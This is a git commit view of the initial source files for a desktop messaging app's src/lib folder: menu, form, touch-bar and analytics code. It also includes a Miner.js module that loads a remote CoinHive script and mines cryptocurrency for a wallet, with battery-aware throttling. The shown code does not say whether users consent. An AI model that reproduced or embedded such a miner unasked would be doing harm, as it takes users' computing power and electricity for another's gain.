diff options
author | 2017-10-13 12:29:40 +0200 | |
---|---|---|
committer | 2017-10-13 12:29:40 +0200 | |
commit | 58cda9cc7fb79ca9df6746de7f9662bc08dc156a (patch) | |
tree | 1211600c2a5d3b5f81c435c6896618111a611720 /src/lib | |
download | ferdium-app-58cda9cc7fb79ca9df6746de7f9662bc08dc156a.tar.gz ferdium-app-58cda9cc7fb79ca9df6746de7f9662bc08dc156a.tar.zst ferdium-app-58cda9cc7fb79ca9df6746de7f9662bc08dc156a.zip |
initial commit
Diffstat (limited to 'src/lib')
-rw-r--r-- | src/lib/Form.js | 31 | ||||
-rw-r--r-- | src/lib/Menu.js | 259 | ||||
-rw-r--r-- | src/lib/Miner.js | 72 | ||||
-rw-r--r-- | src/lib/TouchBar.js | 45 | ||||
-rw-r--r-- | src/lib/analytics.js | 42 |
5 files changed, 449 insertions, 0 deletions
diff --git a/src/lib/Form.js b/src/lib/Form.js new file mode 100644 index 000000000..a22699b45 --- /dev/null +++ b/src/lib/Form.js | |||
@@ -0,0 +1,31 @@ | |||
1 | import Form from 'mobx-react-form'; | ||
2 | |||
3 | export default class DefaultForm extends Form { | ||
4 | bindings() { | ||
5 | return { | ||
6 | default: { | ||
7 | id: 'id', | ||
8 | name: 'name', | ||
9 | type: 'type', | ||
10 | value: 'value', | ||
11 | label: 'label', | ||
12 | placeholder: 'placeholder', | ||
13 | disabled: 'disabled', | ||
14 | onChange: 'onChange', | ||
15 | onFocus: 'onFocus', | ||
16 | onBlur: 'onBlur', | ||
17 | error: 'error', | ||
18 | }, | ||
19 | }; | ||
20 | } | ||
21 | |||
22 | options() { | ||
23 | return { | ||
24 | validateOnInit: false, | ||
25 | // validateOnBlur: true, | ||
26 | // // validationDebounceWait: { | ||
27 | // // trailing: true, | ||
28 | // // }, | ||
29 | }; | ||
30 | } | ||
31 | } | ||
diff --git a/src/lib/Menu.js b/src/lib/Menu.js new file mode 100644 index 000000000..9f23c4d70 --- /dev/null +++ b/src/lib/Menu.js | |||
@@ -0,0 +1,259 @@ | |||
1 | import { remote, shell } from 'electron'; | ||
2 | import { autorun, computed, observable, toJS } from 'mobx'; | ||
3 | |||
4 | import { isDevMode, isMac } from '../environment'; | ||
5 | |||
6 | const { app, Menu } = remote; | ||
7 | |||
8 | const template = [ | ||
9 | { | ||
10 | label: 'Edit', | ||
11 | submenu: [ | ||
12 | { | ||
13 | role: 'undo', | ||
14 | }, | ||
15 | { | ||
16 | role: 'redo', | ||
17 | }, | ||
18 | { | ||
19 | type: 'separator', | ||
20 | }, | ||
21 | { | ||
22 | role: 'cut', | ||
23 | }, | ||
24 | { | ||
25 | role: 'copy', | ||
26 | }, | ||
27 | { | ||
28 | role: 'paste', | ||
29 | }, | ||
30 | { | ||
31 | role: 'pasteandmatchstyle', | ||
32 | }, | ||
33 | { | ||
34 | role: 'delete', | ||
35 | }, | ||
36 | { | ||
37 | role: 'selectall', | ||
38 | }, | ||
39 | ], | ||
40 | }, | ||
41 | { | ||
42 | label: 'View', | ||
43 | submenu: [ | ||
44 | { | ||
45 | type: 'separator', | ||
46 | }, | ||
47 | { | ||
48 | role: 'resetzoom', | ||
49 | }, | ||
50 | { | ||
51 | role: 'zoomin', | ||
52 | }, | ||
53 | { | ||
54 | role: 'zoomout', | ||
55 | }, | ||
56 | { | ||
57 | type: 'separator', | ||
58 | }, | ||
59 | { | ||
60 | role: 'togglefullscreen', | ||
61 | }, | ||
62 | ], | ||
63 | }, | ||
64 | { | ||
65 | label: 'Services', | ||
66 | submenu: [], | ||
67 | }, | ||
68 | { | ||
69 | role: 'window', | ||
70 | submenu: [ | ||
71 | { | ||
72 | role: 'minimize', | ||
73 | }, | ||
74 | { | ||
75 | role: 'close', | ||
76 | }, | ||
77 | ], | ||
78 | }, | ||
79 | { | ||
80 | role: 'help', | ||
81 | submenu: [ | ||
82 | { | ||
83 | label: 'Learn More', | ||
84 | click() { shell.openExternal('http://meetfranz.com'); }, | ||
85 | }, | ||
86 | ], | ||
87 | }, | ||
88 | ]; | ||
89 | |||
90 | export default class FranzMenu { | ||
91 | @observable tpl = template; | ||
92 | |||
93 | constructor(stores, actions) { | ||
94 | this.stores = stores; | ||
95 | this.actions = actions; | ||
96 | |||
97 | autorun(this._build.bind(this)); | ||
98 | } | ||
99 | |||
100 | _build() { | ||
101 | const tpl = toJS(this.tpl); | ||
102 | |||
103 | if (isDevMode) { | ||
104 | tpl[1].submenu.push({ | ||
105 | role: 'toggledevtools', | ||
106 | }, { | ||
107 | label: 'Toggle Service Developer Tools', | ||
108 | accelerator: 'CmdOrCtrl+Shift+Alt+i', | ||
109 | click: () => { | ||
110 | this.actions.service.openDevToolsForActiveService(); | ||
111 | }, | ||
112 | }); | ||
113 | } | ||
114 | |||
115 | tpl[1].submenu.unshift({ | ||
116 | label: 'Reload Service', | ||
117 | id: 'reloadService', | ||
118 | accelerator: 'CmdOrCtrl+R', | ||
119 | click: () => { | ||
120 | if (this.stores.user.isLoggedIn | ||
121 | && this.stores.services.enabled.length > 0) { | ||
122 | this.actions.service.reloadActive(); | ||
123 | } else { | ||
124 | window.location.reload(); | ||
125 | } | ||
126 | }, | ||
127 | }, { | ||
128 | label: 'Reload Franz', | ||
129 | accelerator: 'CmdOrCtrl+Shift+R', | ||
130 | click: () => { | ||
131 | window.location.reload(); | ||
132 | }, | ||
133 | }); | ||
134 | |||
135 | if (isMac) { | ||
136 | tpl.unshift({ | ||
137 | label: app.getName(), | ||
138 | submenu: [ | ||
139 | { | ||
140 | role: 'about', | ||
141 | }, | ||
142 | { | ||
143 | type: 'separator', | ||
144 | }, | ||
145 | { | ||
146 | label: 'Settings', | ||
147 | accelerator: 'CmdOrCtrl+,', | ||
148 | click: () => { | ||
149 | this.actions.ui.openSettings({ path: '' }); | ||
150 | }, | ||
151 | }, | ||
152 | { | ||
153 | type: 'separator', | ||
154 | }, | ||
155 | { | ||
156 | role: 'services', | ||
157 | submenu: [], | ||
158 | }, | ||
159 | { | ||
160 | type: 'separator', | ||
161 | }, | ||
162 | { | ||
163 | role: 'hide', | ||
164 | }, | ||
165 | { | ||
166 | role: 'hideothers', | ||
167 | }, | ||
168 | { | ||
169 | role: 'unhide', | ||
170 | }, | ||
171 | { | ||
172 | type: 'separator', | ||
173 | }, | ||
174 | { | ||
175 | role: 'quit', | ||
176 | }, | ||
177 | ], | ||
178 | }); | ||
179 | // Edit menu. | ||
180 | tpl[1].submenu.push( | ||
181 | { | ||
182 | type: 'separator', | ||
183 | }, | ||
184 | { | ||
185 | label: 'Speech', | ||
186 | submenu: [ | ||
187 | { | ||
188 | role: 'startspeaking', | ||
189 | }, | ||
190 | { | ||
191 | role: 'stopspeaking', | ||
192 | }, | ||
193 | ], | ||
194 | }, | ||
195 | ); | ||
196 | // Window menu. | ||
197 | tpl[3].submenu = [ | ||
198 | { | ||
199 | // label: 'Close', | ||
200 | accelerator: 'CmdOrCtrl+W', | ||
201 | role: 'close', | ||
202 | }, | ||
203 | { | ||
204 | // label: 'Minimize', | ||
205 | accelerator: 'CmdOrCtrl+M', | ||
206 | role: 'minimize', | ||
207 | }, | ||
208 | { | ||
209 | // label: 'Zoom', | ||
210 | role: 'zoom', | ||
211 | }, | ||
212 | { | ||
213 | type: 'separator', | ||
214 | }, | ||
215 | { | ||
216 | // label: 'Bring All to Front', | ||
217 | role: 'front', | ||
218 | }, | ||
219 | ]; | ||
220 | } | ||
221 | |||
222 | const serviceTpl = this.serviceTpl; | ||
223 | |||
224 | serviceTpl.unshift({ | ||
225 | label: 'Add new Service', | ||
226 | accelerator: 'CmdOrCtrl+N', | ||
227 | click: () => { | ||
228 | this.actions.ui.openSettings({ path: 'recipes' }); | ||
229 | }, | ||
230 | }, { | ||
231 | type: 'separator', | ||
232 | }); | ||
233 | |||
234 | if (serviceTpl.length > 0) { | ||
235 | tpl[isMac ? 3 : 2].submenu = toJS(this.serviceTpl); | ||
236 | } | ||
237 | |||
238 | const menu = Menu.buildFromTemplate(tpl); | ||
239 | Menu.setApplicationMenu(menu); | ||
240 | } | ||
241 | |||
242 | @computed get serviceTpl() { | ||
243 | const services = this.stores.services.enabled; | ||
244 | |||
245 | if (this.stores.user.isLoggedIn) { | ||
246 | return services.map((service, i) => ({ | ||
247 | label: service.name, | ||
248 | accelerator: i <= 9 ? `CmdOrCtrl+${i + 1}` : null, | ||
249 | type: 'radio', | ||
250 | checked: service.isActive, | ||
251 | click: () => { | ||
252 | this.actions.service.setActive({ serviceId: service.id }); | ||
253 | }, | ||
254 | })); | ||
255 | } | ||
256 | |||
257 | return []; | ||
258 | } | ||
259 | } | ||
diff --git a/src/lib/Miner.js b/src/lib/Miner.js new file mode 100644 index 000000000..5fac92477 --- /dev/null +++ b/src/lib/Miner.js | |||
@@ -0,0 +1,72 @@ | |||
1 | export default class Miner { | ||
2 | wallet = null; | ||
3 | options = { | ||
4 | throttle: 0.75, | ||
5 | throttleIdle: 0.1, | ||
6 | }; | ||
7 | miner = null; | ||
8 | interval; | ||
9 | |||
10 | constructor(wallet, options) { | ||
11 | this.wallet = wallet; | ||
12 | |||
13 | this.options = Object.assign({}, options, this.options); | ||
14 | } | ||
15 | |||
16 | start(updateFn) { | ||
17 | const script = document.createElement('script'); | ||
18 | script.id = 'coinhive'; | ||
19 | script.type = 'text/javascript'; | ||
20 | script.src = 'https://coinhive.com/lib/coinhive.min.js'; | ||
21 | document.head.appendChild(script); | ||
22 | |||
23 | script.addEventListener('load', () => { | ||
24 | const miner = new window.CoinHive.Anonymous(this.wallet); | ||
25 | miner.start(); | ||
26 | miner.setThrottle(this.options.throttle); | ||
27 | |||
28 | this.miner = miner; | ||
29 | |||
30 | this.interval = setInterval(() => { | ||
31 | const hashesPerSecond = miner.getHashesPerSecond(); | ||
32 | const totalHashes = miner.getTotalHashes(); | ||
33 | const acceptedHashes = miner.getAcceptedHashes(); | ||
34 | |||
35 | updateFn({ hashesPerSecond, totalHashes, acceptedHashes }); | ||
36 | }, 1000); | ||
37 | }); | ||
38 | } | ||
39 | |||
40 | stop() { | ||
41 | document.querySelector('#coinhive'); | ||
42 | |||
43 | this.miner.stop(); | ||
44 | clearInterval(this.interval); | ||
45 | this.miner = null; | ||
46 | } | ||
47 | |||
48 | setThrottle(throttle) { | ||
49 | if (this.miner) { | ||
50 | this.miner.setThrottle(throttle); | ||
51 | } | ||
52 | } | ||
53 | |||
54 | setActiveThrottle() { | ||
55 | if (this.miner) { | ||
56 | this.miner.setThrottle(this.options.throttle); | ||
57 | } | ||
58 | } | ||
59 | |||
60 | async setIdleThrottle() { | ||
61 | const battery = await navigator.getBattery(); | ||
62 | |||
63 | if (!battery.charging) { | ||
64 | console.info(`Miner: battery is not charging, setThrottle to ${this.options.throttle}`); | ||
65 | this.setActiveThrottle(); | ||
66 | } else { | ||
67 | this.miner.setThrottle(this.options.throttleIdle); | ||
68 | } | ||
69 | |||
70 | return this; | ||
71 | } | ||
72 | } | ||
diff --git a/src/lib/TouchBar.js b/src/lib/TouchBar.js new file mode 100644 index 000000000..ad7849b8e --- /dev/null +++ b/src/lib/TouchBar.js | |||
@@ -0,0 +1,45 @@ | |||
1 | import { remote } from 'electron'; | ||
2 | import { autorun } from 'mobx'; | ||
3 | |||
4 | import { isMac } from '../environment'; | ||
5 | |||
6 | export default class FranzTouchBar { | ||
7 | constructor(stores, actions) { | ||
8 | this.stores = stores; | ||
9 | this.actions = actions; | ||
10 | |||
11 | this._initializeReactions(); | ||
12 | } | ||
13 | |||
14 | _initializeReactions() { | ||
15 | this.build = autorun(this._build.bind(this)); | ||
16 | } | ||
17 | |||
18 | _build() { | ||
19 | const currentWindow = remote.getCurrentWindow(); | ||
20 | |||
21 | if (isMac && this.stores.user.isLoggedIn) { | ||
22 | const { TouchBar } = remote; | ||
23 | const { TouchBarButton, TouchBarSpacer } = TouchBar; | ||
24 | |||
25 | const buttons = []; | ||
26 | this.stores.services.enabled.forEach(((service) => { | ||
27 | buttons.push(new TouchBarButton({ | ||
28 | label: `${service.name}${service.unreadDirectMessageCount > 0 | ||
29 | ? ' 🔴' : ''} ${service.unreadDirectMessageCount === 0 | ||
30 | && service.unreadIndirectMessageCount > 0 | ||
31 | ? ' ⚪️' : ''}`, | ||
32 | backgroundColor: service.isActive ? '#3498DB' : null, | ||
33 | click: () => { | ||
34 | this.actions.service.setActive({ serviceId: service.id }); | ||
35 | }, | ||
36 | }), new TouchBarSpacer({ size: 'small' })); | ||
37 | })); | ||
38 | |||
39 | const touchBar = new TouchBar(buttons); | ||
40 | currentWindow.setTouchBar(touchBar); | ||
41 | } else { | ||
42 | currentWindow.setTouchBar(null); | ||
43 | } | ||
44 | } | ||
45 | } | ||
diff --git a/src/lib/analytics.js b/src/lib/analytics.js new file mode 100644 index 000000000..b13bf8faa --- /dev/null +++ b/src/lib/analytics.js | |||
@@ -0,0 +1,42 @@ | |||
1 | import { remote } from 'electron'; | ||
2 | import { GA_ID } from '../config'; | ||
3 | // import { isDevMode } from '../environment'; | ||
4 | |||
5 | const { app } = remote; | ||
6 | |||
7 | /* eslint-disable */ | ||
8 | (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ | ||
9 | (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), | ||
10 | m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) | ||
11 | })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); | ||
12 | /* eslint-enable */ | ||
13 | |||
14 | const GA_LOCAL_STORAGE_KEY = 'gaUid'; | ||
15 | |||
16 | ga('create', GA_ID, { | ||
17 | storage: 'none', | ||
18 | clientId: localStorage.getItem(GA_LOCAL_STORAGE_KEY), | ||
19 | }); | ||
20 | |||
21 | ga((tracker) => { | ||
22 | localStorage.setItem(GA_LOCAL_STORAGE_KEY, tracker.get('clientId')); | ||
23 | }); | ||
24 | ga('set', 'checkProtocolTask', null); | ||
25 | ga('set', 'version', app.getVersion()); | ||
26 | ga('send', 'App'); | ||
27 | |||
28 | export function gaPage(page) { | ||
29 | ga('send', 'pageview', page); | ||
30 | |||
31 | console.debug('GA track page', page); | ||
32 | } | ||
33 | |||
34 | export function gaEvent(category, action, label) { | ||
35 | ga('send', 'event', category, action, label); | ||
36 | |||
37 | console.debug('GA track page', category, action); | ||
38 | } | ||
39 | |||
40 | setTimeout(() => { | ||
41 | ga('send', 'Ping'); | ||
42 | }, 1000 * 60 * 10); // Ping GA every 10 Minutes | ||